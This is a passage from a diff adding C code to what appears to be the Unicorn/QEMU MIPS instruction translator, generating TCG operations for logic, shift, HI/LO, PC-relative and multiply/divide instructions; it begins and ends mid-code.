TCG_COND_EQ, *cpu_gpr[rd], t0, t1, t2, t1); + opn = "seleqz"; + break; + } + tcg_temp_free(tcg_ctx, t2); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t0); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, regnames[rd], regnames[rs], regnames[rt]); +} + +/* Logic */ +static void gen_logic(DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "logic"; + + if (rd == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + switch (opc) { + case OPC_AND: + if (likely(rs != 0 && rt != 0)) { + tcg_gen_and_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "and"; + break; + case OPC_NOR: + if (rs != 0 && rt != 0) { + tcg_gen_nor_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + } else if (rs == 0 && rt != 0) { + tcg_gen_not_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + } else if (rs != 0 && rt == 0) { + tcg_gen_not_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], ~((target_ulong)0)); + } + opn = "nor"; + break; + case OPC_OR: + if (likely(rs != 0 && rt != 0)) { + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + } else if (rs == 0 && rt != 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + } else if (rs != 0 && rt == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "or"; + break; + case OPC_XOR: + if (likely(rs != 0 && rt != 0)) { + tcg_gen_xor_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + } else if (rs == 0 && rt != 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + } else if (rs != 0 && rt == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "xor"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, regnames[rd], regnames[rs], regnames[rt]); +} + +/* Set on lower than */ +static void gen_slt(DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "slt"; + TCGv t0, t1; + + if (rd == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + switch (opc) { + case OPC_SLT: + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_LT, *cpu_gpr[rd], t0, t1); + opn = "slt"; + break; + case OPC_SLTU: + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_LTU, *cpu_gpr[rd], t0, t1); + opn = "sltu"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, regnames[rd], regnames[rs], regnames[rt]); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +/* Shifts */ +static void gen_shift(DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "shifts"; + TCGv t0, t1; + + if (rd == 0) { + /* If no destination, treat it as a NOP. + For add & sub, we must generate the overflow exception when needed. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + switch (opc) { + case OPC_SLLV: + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x1f); + tcg_gen_shl_tl(tcg_ctx, t0, t1, t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], t0); + opn = "sllv"; + break; + case OPC_SRAV: + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x1f); + tcg_gen_sar_tl(tcg_ctx, *cpu_gpr[rd], t1, t0); + opn = "srav"; + break; + case OPC_SRLV: + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x1f); + tcg_gen_shr_tl(tcg_ctx, t0, t1, t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], t0); + opn = "srlv"; + break; + case OPC_ROTRV: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_andi_i32(tcg_ctx, t2, t2, 0x1f); + tcg_gen_rotr_i32(tcg_ctx, t2, t3, t2); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_gpr[rd], t2); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + opn = "rotrv"; + } + break; +#if defined(TARGET_MIPS64) + case OPC_DSLLV: + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x3f); + tcg_gen_shl_tl(tcg_ctx, *cpu_gpr[rd], t1, t0); + opn = "dsllv"; + break; + case OPC_DSRAV: + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x3f); + tcg_gen_sar_tl(tcg_ctx, *cpu_gpr[rd], t1, t0); + opn = "dsrav"; + break; + case OPC_DSRLV: + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x3f); + tcg_gen_shr_tl(tcg_ctx, *cpu_gpr[rd], t1, t0); + opn = "dsrlv"; + break; + case OPC_DROTRV: + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x3f); + tcg_gen_rotr_tl(tcg_ctx, *cpu_gpr[rd], t1, t0); + opn = "drotrv"; + break; +#endif + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, regnames[rd], regnames[rs], regnames[rt]); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +/* Arithmetic on HI/LO registers */ +static void gen_HILO(DisasContext *ctx, uint32_t opc, int acc, int reg) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + TCGv **cpu_HI = (TCGv **)tcg_ctx->cpu_HI; + TCGv **cpu_LO = (TCGv **)tcg_ctx->cpu_LO; + const char *opn = "hilo"; + + if (reg == 0 && (opc == OPC_MFHI || opc == OPC_MFLO)) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + if (acc != 0) { + check_dsp(ctx); + } + + switch (opc) { + case OPC_MFHI: +#if defined(TARGET_MIPS64) + if (acc != 0) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[reg], *cpu_HI[acc]); + } else +#endif + { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[reg], *cpu_HI[acc]); + } + opn = "mfhi"; + break; + case OPC_MFLO: +#if defined(TARGET_MIPS64) + if (acc != 0) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[reg], *cpu_LO[acc]); + } else +#endif + { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[reg], *cpu_LO[acc]); + } + opn = "mflo"; + break; + case OPC_MTHI: + if (reg != 0) { +#if defined(TARGET_MIPS64) + if (acc != 0) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], *cpu_gpr[reg]); + } else +#endif + { + tcg_gen_mov_tl(tcg_ctx, *cpu_HI[acc], *cpu_gpr[reg]); + } + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_HI[acc], 0); + } + opn = "mthi"; + break; + case OPC_MTLO: + if (reg != 0) { +#if defined(TARGET_MIPS64) + if (acc != 0) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], *cpu_gpr[reg]); + } else +#endif + { + tcg_gen_mov_tl(tcg_ctx, *cpu_LO[acc], *cpu_gpr[reg]); + } + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_LO[acc], 0); + } + opn = "mtlo"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s", opn, regnames[reg]); +} + +static inline void gen_r6_ld(DisasContext *ctx, target_long addr, int reg, int memidx, + TCGMemOp memop) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv t0 = tcg_const_tl(tcg_ctx, addr); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, memidx, memop); + gen_store_gpr(tcg_ctx, t0, reg); + tcg_temp_free(tcg_ctx, t0); +} + +static inline void gen_pcrel(DisasContext *ctx, int rs, int16_t imm) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + target_long offset; + target_long addr; + + switch (MASK_OPC_PCREL_TOP2BITS(ctx->opcode)) { + case OPC_ADDIUPC: + if (rs != 0) { + offset = sextract32(ctx->opcode << 2, 0, 21); + addr = addr_add(ctx, ctx->pc, offset); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rs], addr); + } + break; + case R6_OPC_LWPC: + offset = sextract32(ctx->opcode << 2, 0, 21); + addr = addr_add(ctx, ctx->pc, offset); + gen_r6_ld(ctx, addr, rs, ctx->mem_idx, MO_TESL); + break; +#if defined(TARGET_MIPS64) + case OPC_LWUPC: + check_mips_64(ctx); + offset = sextract32(ctx->opcode << 2, 0, 21); + addr = addr_add(ctx, ctx->pc, offset); + gen_r6_ld(ctx, addr, rs, ctx->mem_idx, MO_TEUL); + break; +#endif + default: + switch (MASK_OPC_PCREL_TOP5BITS(ctx->opcode)) { + case OPC_AUIPC: + if (rs != 0) { + offset = ((target_ulong)imm) << 16; + addr = addr_add(ctx, ctx->pc, offset); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rs], addr); + } + break; + case OPC_ALUIPC: + if (rs != 0) { + offset = ((target_ulong)imm) << 16; + addr = ~0xFFFF & addr_add(ctx, ctx->pc, offset); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rs], addr); + } + break; +#if defined(TARGET_MIPS64) + case R6_OPC_LDPC: /* bits 16 and 17 are part of immediate */ + case R6_OPC_LDPC + (1 << 16): + case R6_OPC_LDPC + (2 << 16): + case R6_OPC_LDPC + (3 << 16): + check_mips_64(ctx); + offset = sextract32(ctx->opcode << 3, 0, 21); + addr = addr_add(ctx, (ctx->pc & ~0x7), offset); + gen_r6_ld(ctx, addr, rs, ctx->mem_idx, MO_TEQ); + break; +#endif + default: + MIPS_INVAL("OPC_PCREL"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + } +} + +static void gen_r6_muldiv(DisasContext *ctx, int opc, int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "r6 mul/div"; + TCGv t0, t1; + + if (rd == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + + switch (opc) { + case R6_OPC_DIV: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + tcg_gen_ext32s_tl(tcg_ctx, t1, t1); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t2, t0, INT_MIN); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, -1); + tcg_gen_and_tl(tcg_ctx, t2, t2, t3); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, 0); + tcg_gen_or_tl(tcg_ctx, t2, t2, t3); + tcg_gen_movi_tl(tcg_ctx, t3, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, t1, t2, t3, t2, t1); + tcg_gen_div_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "div"; + break; + case R6_OPC_MOD: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + tcg_gen_ext32s_tl(tcg_ctx, t1, t1); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t2, t0, INT_MIN); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, -1); + tcg_gen_and_tl(tcg_ctx, t2, t2, t3); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, 0); + tcg_gen_or_tl(tcg_ctx, t2, t2, t3); + tcg_gen_movi_tl(tcg_ctx, t3, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, t1, t2, t3, t2, t1); + tcg_gen_rem_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "mod"; + break; + case R6_OPC_DIVU: + { + TCGv t2 = tcg_const_tl(tcg_ctx, 0); + TCGv t3 = tcg_const_tl(tcg_ctx, 1); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, t1, t1, t2, t3, t1); + tcg_gen_divu_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "divu"; + break; + case R6_OPC_MODU: + { + TCGv t2 = tcg_const_tl(tcg_ctx, 0); + TCGv t3 = tcg_const_tl(tcg_ctx, 1); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, t1, t1, t2, t3, t1); + tcg_gen_remu_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "modu"; + break; + case R6_OPC_MUL: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_mul_i32(tcg_ctx, t2, t2, t3); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_gpr[rd], t2); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + } + opn = "mul"; + break; + case R6_OPC_MUH: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_muls2_i32(tcg_ctx, t2, t3, t2, t3); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_gpr[rd], t3); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + } + opn = "muh"; + break; + case R6_OPC_MULU: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_mul_i32(tcg_ctx, t2, t2, t3); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_gpr[rd], t2); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + } + opn = "mulu"; + break; + case R6_OPC_MUHU: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_mulu2_i32(tcg_ctx, t2, t3, t2, t3); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_gpr[rd], t3); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + } + opn = "muhu"; + break; +#if defined(TARGET_MIPS64) + case R6_OPC_DDIV: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t2, t0, -1ULL << 63); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, -1LL); + tcg_gen_and_tl(tcg_ctx, t2, t2, t3); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, 0); + tcg_gen_or_tl(tcg_ctx, t2, t2, t3); + tcg_gen_movi_tl(tcg_ctx, t3, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, t1, t2, t3, t2, t1); + tcg_gen_div_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "ddiv"; + break; + case R6_OPC_DMOD: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t2, t0, -1ULL << 63); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, -1LL); + tcg_gen_and_tl(tcg_ctx, t2, t2, t3); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, 0); + tcg_gen_or_tl(tcg_ctx, t2, t2, t3); + tcg_gen_movi_tl(tcg_ctx, t3, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, t1, t2, t3, t2, t1); + tcg_gen_rem_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "dmod"; + break; + case R6_OPC_DDIVU: + { + TCGv t2 = tcg_const_tl(tcg_ctx, 0); + TCGv t3 = tcg_const_tl(tcg_ctx, 1); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, t1, t1, t2, t3, t1); + tcg_gen_divu_i64(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "ddivu"; + break; + case R6_OPC_DMODU: + { + TCGv t2 = tcg_const_tl(tcg_ctx, 0); + TCGv t3 = tcg_const_tl(tcg_ctx, 1); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, t1, t1, t2, t3, t1); + tcg_gen_remu_i64(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "dmodu"; + break; + case R6_OPC_DMUL: + tcg_gen_mul_i64(tcg_ctx, *cpu_gpr[rd], t0, t1); + opn = "dmul"; + break; + case R6_OPC_DMUH: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + tcg_gen_muls2_i64(tcg_ctx, t2, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t2); + } + opn = "dmuh"; + break; + case R6_OPC_DMULU: + tcg_gen_mul_i64(tcg_ctx, *cpu_gpr[rd], t0, t1); + opn = "dmulu"; + break; + case R6_OPC_DMUHU: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + tcg_gen_mulu2_i64(tcg_ctx, t2, *cpu_gpr[rd], t0, t1); + tcg_temp_free(tcg_ctx, t2); + } + opn = "dmuhu"; + break; +#endif + default: + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + goto out; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s %s", opn, regnames[rs], regnames[rt]); + out: + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_muldiv(DisasContext *ctx, uint32_t opc, + int acc, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_HI = (TCGv **)tcg_ctx->cpu_HI; + TCGv **cpu_LO = (TCGv **)tcg_ctx->cpu_LO; + const char *opn = "mul/div"; + TCGv t0, t1; + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + + if (acc != 0) { + check_dsp(ctx); + } + + switch (opc) { + case OPC_DIV: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + tcg_gen_ext32s_tl(tcg_ctx, t1, t1); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t2, t0, INT_MIN); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, -1); + tcg_gen_and_tl(tcg_ctx, t2, t2, t3); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, 0); + tcg_gen_or_tl(tcg_ctx, t2, t2, t3); + tcg_gen_movi_tl(tcg_ctx, t3, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, t1, t2, t3, t2, t1); + tcg_gen_div_tl(tcg_ctx, *cpu_LO[acc], t0, t1); + tcg_gen_rem_tl(tcg_ctx, *cpu_HI[acc], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], *cpu_LO[acc]); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], *cpu_HI[acc]); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "div"; + break; + case OPC_DIVU: + { + TCGv t2 = tcg_const_tl(tcg_ctx, 0); + TCGv t3 = tcg_const_tl(tcg_ctx, 1); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, t1, t1, t2, t3, t1); + tcg_gen_divu_tl(tcg_ctx, *cpu_LO[acc], t0, t1); + tcg_gen_remu_tl(tcg_ctx, *cpu_HI[acc], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], *cpu_LO[acc]); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], *cpu_HI[acc]); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "divu"; + break; + case OPC_MULT: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_muls2_i32(tcg_ctx, t2, t3, t2, t3); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_LO[acc], t2); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_HI[acc], t3); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + } + opn = "mult"; + break; + case OPC_MULTU: + { + TCGv_i32 t2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_tl_i32(tcg_ctx, t2, t0); + tcg_gen_trunc_tl_i32(tcg_ctx, t3, t1); + tcg_gen_mulu2_i32(tcg_ctx, t2, t3, t2, t3); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_LO[acc], t2); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_HI[acc], t3); + tcg_temp_free_i32(tcg_ctx, t2); + tcg_temp_free_i32(tcg_ctx, t3); + } + opn = "multu"; + break; +#if defined(TARGET_MIPS64) + case OPC_DDIV: + { + TCGv t2 = tcg_temp_new(tcg_ctx); + TCGv t3 = tcg_temp_new(tcg_ctx); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t2, t0, -1ULL << 63); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, -1LL); + tcg_gen_and_tl(tcg_ctx, t2, t2, t3); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, t3, t1, 0); + tcg_gen_or_tl(tcg_ctx, t2, t2, t3); + tcg_gen_movi_tl(tcg_ctx, t3, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, t1, t2, t3, t2, t1); + tcg_gen_div_tl(tcg_ctx, *cpu_LO[acc], t0, t1); + tcg_gen_rem_tl(tcg_ctx, *cpu_HI[acc], t0, t1); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "ddiv"; + break; + case OPC_DDIVU: + { + TCGv t2 = tcg_const_tl(tcg_ctx, 0); + TCGv t3 = tcg_const_tl(tcg_ctx, 1); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, t1, t1, t2, t3, t1); + tcg_gen_divu_i64(tcg_ctx, *cpu_LO[acc], t0, t1); + tcg_gen_remu_i64(tcg_ctx, *cpu_HI[acc], t0, t1); + tcg_temp_free(tcg_ctx, t3); + tcg_temp_free(tcg_ctx, t2); + } + opn = "ddivu"; + break; + case OPC_DMULT: + tcg_gen_muls2_i64(tcg_ctx, *cpu_LO[acc], *cpu_HI[acc], t0, t1); + opn = "dmult"; + break; + case OPC_DMULTU: + tcg_gen_mulu2_i64(tcg_ctx, *cpu_LO[acc], *cpu_HI[acc], t0, t1); + opn = "dmultu"; + break; +#endif + case OPC_MADD: + { + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 t3 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_ext_tl_i64(tcg_ctx, t2, t0); + tcg_gen_ext_tl_i64(tcg_ctx, t3, t1); + tcg_gen_mul_i64(tcg_ctx, t2, t2, t3); + tcg_gen_concat_tl_i64(tcg_ctx, t3, *cpu_LO[acc], *cpu_HI[acc]); + tcg_gen_add_i64(tcg_ctx, t2, t2, t3); + tcg_temp_free_i64(tcg_ctx, t3); + tcg_gen_trunc_i64_tl(tcg_ctx, t0, t2); + tcg_gen_shri_i64(tcg_ctx, t2, t2, 32); + tcg_gen_trunc_i64_tl(tcg_ctx, t1, t2); + tcg_temp_free_i64(tcg_ctx, t2); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], t1); + } + opn = "madd"; + break; + case OPC_MADDU: + { + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 t3 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_extu_tl_i64(tcg_ctx, t2, t0); + tcg_gen_extu_tl_i64(tcg_ctx, t3, t1); + tcg_gen_mul_i64(tcg_ctx, t2, t2, t3); + tcg_gen_concat_tl_i64(tcg_ctx, t3, *cpu_LO[acc], *cpu_HI[acc]); + tcg_gen_add_i64(tcg_ctx, t2, t2, t3); + tcg_temp_free_i64(tcg_ctx, t3); + tcg_gen_trunc_i64_tl(tcg_ctx, t0, t2); + tcg_gen_shri_i64(tcg_ctx, t2, t2, 32); + tcg_gen_trunc_i64_tl(tcg_ctx, t1, t2); + tcg_temp_free_i64(tcg_ctx, t2); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], t1); + } + opn = "maddu"; + break; + case OPC_MSUB: + { + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 t3 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_ext_tl_i64(tcg_ctx, t2, t0); + tcg_gen_ext_tl_i64(tcg_ctx, t3, t1); + tcg_gen_mul_i64(tcg_ctx, t2, t2, t3); + tcg_gen_concat_tl_i64(tcg_ctx, t3, *cpu_LO[acc], 